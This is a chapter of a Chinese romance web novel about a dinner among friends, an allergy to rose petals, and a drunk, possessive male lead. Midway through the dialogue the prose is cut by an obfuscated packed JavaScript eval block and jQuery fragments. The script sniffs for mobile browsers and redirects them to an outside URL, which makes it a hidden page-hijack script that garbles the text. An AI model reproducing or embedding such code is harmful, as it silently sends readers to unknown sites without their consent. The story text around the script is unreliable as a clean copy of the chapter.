91. 我的

作品:《重回老婆结婚前

    程意被周任尔牵着手走进包厢时,一眼就看到了除了谢知宴和郑淮与外,还有一个眉眼弯弯、笑容甜美的陌生女孩。


    她正亲昵地靠在郑淮与身边。


    “程意是吧?你好你好!我是柳媛,郑淮与的未婚妻。”


    女孩一见他们进来,立刻站起身,热情地打招呼,眼神里充满了好奇,“哎呀,总听他们提起你,今天可算是见到本人了!”


    “呃,你好……”程意被这过分的热情弄得有点懵,尤其是那句“总听他们提起你”,让她心里泛起一丝异样。


    她下意识地看向周任尔,心想……他经常跟朋友谈论她吗?会聊些什么内容呢?


    郑淮与无奈又宠溺地揽住柳媛的肩膀,轻轻按着她坐下:“小柳儿,你就别调侃人家了,看把人家吓的。”


    他转头对程意解释,“她就这样,人来疯,没恶意。”


    柳媛吐了吐舌头,笑嘻嘻地说:“我这是高兴嘛!程意你别介意啊,我就是太好奇了。你都不知道,你们家的周大老板他……”


    “点菜了吗?”周任尔淡淡开口,打断了柳媛即将脱口而出的话,他拉着程意在自己旁边的位置坐下,手依旧自然地握着她的,放在自己腿上。


    “点了点了,。”郑淮与接过话头,把菜单递给周任尔,“你看看你们还有没有想吃的菜。”


    周任尔又把菜单递给程意对她说:“你来点。”


    程意浏览菜单时,才发现这是家云南菜馆。她又加了薄荷炸排骨、老奶洋芋和苦菜酥红豆,便将菜单交还给候在一旁的服务员。


    在点菜的同时,程意偷偷打量了一下柳媛,是个看起来就很快乐、被保护得很好的女孩子,和同样活泼的郑淮与站在一起,十分的登对。


    而坐在她对面的谢知宴,从他们进来就只是抬了抬眼皮,有气无力地说了声“来了”,然后就继续埋头苦吃……面前那盘餐前小菜。


    菜很快上齐了。


    但饭桌上的气氛……着实有点微妙。


    郑淮与和柳媛那边简直是蜜里调油。


    “淮与,这个虾好好吃,你尝尝!”柳媛夹起一只虾,很自然地递到郑淮与嘴边。


    郑淮与张口接过,点点头:“嗯,是不错。你别光顾着我,自己多吃点。”说着,又给她碗里夹了块她爱吃的排骨。


    “哎呀,我最近在控制体重嘛……”


    “控制什么,你这样刚好。”


    “真的吗?那你喂我吃,我就吃一口……”


    程意默默收回视线,感觉耳朵有点热。她下意识地想抽回被周任尔握着的手,却被他更紧地握住。


    周任尔仿佛没看到对面那对的腻歪,神色自若地用另一只手给程意盛了碗汤放到她面前。


    “谢谢。”程意小声道谢。


    而另一边的谢知宴,则是完全不同的画风。


    他几乎不参与对话,只是闷头吃,偶尔抬起头,看看左边你侬我侬的郑淮与和柳媛,又看看右边虽然安静但手牵着手、眼神交流不断的周任尔和程意,然后重重地叹了口气,恶狠狠地叉起一块牛肉塞进嘴里,含糊不清地嘟囔:“有异性没人性……这狗粮撒得没完没了。”


    柳媛被逗笑了,故意问:“知宴哥,这家菜不合你胃口吗?我看你都没怎么说话。”


    谢知宴翻了个白眼:“合,太合了!合得我都没空说话,光顾着吃了!”


    他看向周任尔和程意,“还有你们俩,牵了一路了,手不酸吗?吃饭也不松开?”


    周任尔眼皮都没抬,淡淡回道:“不酸。碍着你了?”


    程意脸一红,又想把手抽回来,再次失败。


    郑淮与笑着打圆场:“老谢这是嫉妒。别理他。”


    柳媛捂嘴笑:“知宴哥,你也赶紧找个女朋友吧,不然以后跟我们都没共同话题啦!”


    她边说边转动转盘,“程意,你尝尝这盘鲜花煎蛋,巨好吃!我每次来都必点!”


    程意的目光立刻被那盘煎蛋吸引,嫩黄的蛋饼上缀着几瓣粉白花瓣,看起来格外新鲜。


    她刚伸出筷子要夹,手腕还没伸直,周任尔忽然抬手,把那盘菜径直端到了自己面前。


    程意的筷子僵在半空,眼皮几不可察地跳了跳,这人突然发什么疯?一盘煎蛋也要抢?


    还没等她理出个头绪,就见周任尔抬手把服务员喊了过来,语气听不出任何情绪,但也十分礼貌:“你好,请问这道菜里的鲜花是什么品种?”


    服务员答:“这是玉荷花呢!”


    周任尔眉峰微蹙,指尖在桌沿轻轻点了下,目光在盘子里顿了两秒:“确定?我看着倒像玫瑰。”


    服务员被他看得有点发毛,连忙摆手:“您稍等,我去后厨问下师傅。”


    片刻后老板亲自过来道歉,说是后厨上错了菜。


    周任尔却没松口,抬眼看向老板时,眼神里多了丝冷意:“这里的其他菜会不会用到玫瑰花?我们这儿有人对玫瑰过敏!”


    老板被他这话给唬住了,仔细想了想才连声道歉:“没有了没有了,实在抱歉,这桌我给您打八折赔罪。”


    等老板走了,程意才捏着筷子,小声问:“你怎么知道我对玫瑰花过敏?”


    周任尔头也没抬,夹了口菜塞进嘴里,腮帮子动了动才含糊道:“我不知道,我只知道我对玫瑰过敏。”


    程意愣住了,眼里闪过点意外,还有一丝遇到同类的喜悦:“这么巧?你也对玫瑰过敏?”


    周任尔没接话,只是夹了一块排骨放进她碗里,像是在转移话题。


    程意这边正陷在惊喜之中,对面的柳媛笑眯眯的,一副“磕到了”的表情。


    谢知宴在一旁凉凉插话:“看见没,这就是舔……”


    周任尔抬眼瞥了谢知宴一下,打断道:“吃你的菜。”


    谢知宴:“……”他愤愤地夹起一大筷子青菜,塞进嘴里,咀嚼得特别用力。


    这顿饭就在这种“左边甜蜜蜜,右边沉默守护,对面孤寡愤怒”的诡异又和谐的氛围中进行着。


    程意大部分时间都在听,听郑淮与和柳媛斗嘴,听谢知宴偶尔的毒舌吐槽,感受着周任尔无声的维护。


    她渐渐放松下来,甚至能偶尔插一两句话。


    她发现,周任尔褪去公司里的身份,在朋友之间还挺有趣的。


    男人之间吃饭,没有不喝酒的,尽管周任尔不想喝,但还是被逼着喝了好几杯。


    一顿饭吃下来,周任尔的脸都喝红了。


    饭后,柳媛还拉着程意加了微信,热情地约她下次一起逛街。


    分别时,谢知宴看着周任尔依旧紧牵着程意的手,周任尔还因为站不稳,微微靠在程意身上,眼神湿漉漉的。


    谢知宴忽然想起了乔思雨,于是问程意:“乔思雨最近是不是发生了什么事?整个人怪怪的。”


    程意有点没听太明白,“她怎么怪了?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937676|181664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说起这事,谢知宴还有点难以启齿,“算了!你就当我没说。”


    他实在不好意思说,乔思雨最近总像是在……骚扰他。


    有一次在茶水间,乔思雨脸颊泛红,他随口问了句:“你今天脸怎么这么红?”


    乔思雨歪头看着他,眼睛亮晶晶的,带着点狡黠的笑:“因为看见你了呀。”


    把他噎得当场愣住,全身的血液轰地一下冲上了头顶。


    看着谢知宴欲言又止的样子,程意有点摸不着头脑,不幸的是身旁还站着一个“善于总结”的周任尔。


    周任尔原本晕乎乎地靠着程意,闻言,努力站直了身子,试图显得清醒又权威。


    他抬起一根手指,对着谢知宴的方向虚点了两下,带着醉后的浓重鼻音,语速不快,但逻辑混乱:“他……他的意思,就是说,乔思雨……在对他进行……非暴力形式的…精神冲击。”


    他顿了顿,似乎在组织脑海里漂浮的词汇,“具体表现为……利用语言、微表情及……及制造巧合等多种手段,持续性、高频次地……试探他的心理防线……导致其心率失常,并伴随有……间歇性思维紊乱。”


    说完,他像是完成了重大报告,身体晃了一下,重新靠回程意身上,把发烫的脸埋在她颈窝,小声地、委屈地补充了一句:


    “……就像我现在这样……头晕。”


    谢知宴:“……”


    程意:“……”


    两人对视一眼,都觉得周任尔醉的不清。


    谢知宴摆了摆手:“算了,我看还是先帮你把他弄回家比较重要,我帮你扶着他吧,你去把车开过来。”


    等程意把车开到马路对面,摇下车窗,朝谢知宴招手,让他把周任尔扶到马路对面来。


    当然她也可以把车直接开到饭店门口,就是回家有点麻烦,还得绕到前面掉头。


    谢知宴看着马路对面的程意,暗骂一句“卧槽!”


    他轻轻晃了晃周任尔,试图让他清醒一点,“老周!你快看看!你家天仙往你那破车里一坐,我还以为那车是什么豪车呢!”


    夜风一吹,周任尔混沌的脑子确实清明了几分。


    他依言抬眼望去,视线穿过缭绕的夜雾与熙攘的车流,不偏不倚,稳稳地落进了驾驶座的那片光影里。


    方才还朦胧失焦的眼神,在捕捉到那个身影的瞬间,便悄然沉淀下来,变得深不见底。


    仿佛周遭所有的喧嚣与光华都急速褪去、坍缩,最终只为她一人加冕,那个坐在方向盘后的姑娘,周身浸润在暖融的车内灯光下,像一颗被小心翼翼捧出的明珠,在夜色里温润地亮着。


    谢知宴正准备扶着他往马路对面走,周任尔却猛地抬手,用宽大的手掌直接盖住了谢知宴的眼睛,使劲将他往后推了一把,把他推得往后踉跄了几步。


    “谁准你看了?”


    他的声音低哑,裹挟着浓烈的酒气和一种近乎野兽护食般的本能敌意。


    紧接着,他侧过身,用自己整个身体挡住了谢知宴可能投向程意的所有视线。


    他转过头,醉意朦胧的眼底翻涌着深沉的占有,牢牢抓住那抹驾驶座上的身影,像是要将她烙进瞳孔深处。


    他对着马路对面,一字一句,声音不大,却带一丝执拗:“我的人,只有我能看。”


    说完,他不再理会身后对着他骂骂咧咧的谢知宴,踉跄着,却又无比坚定地,独自朝程意走去。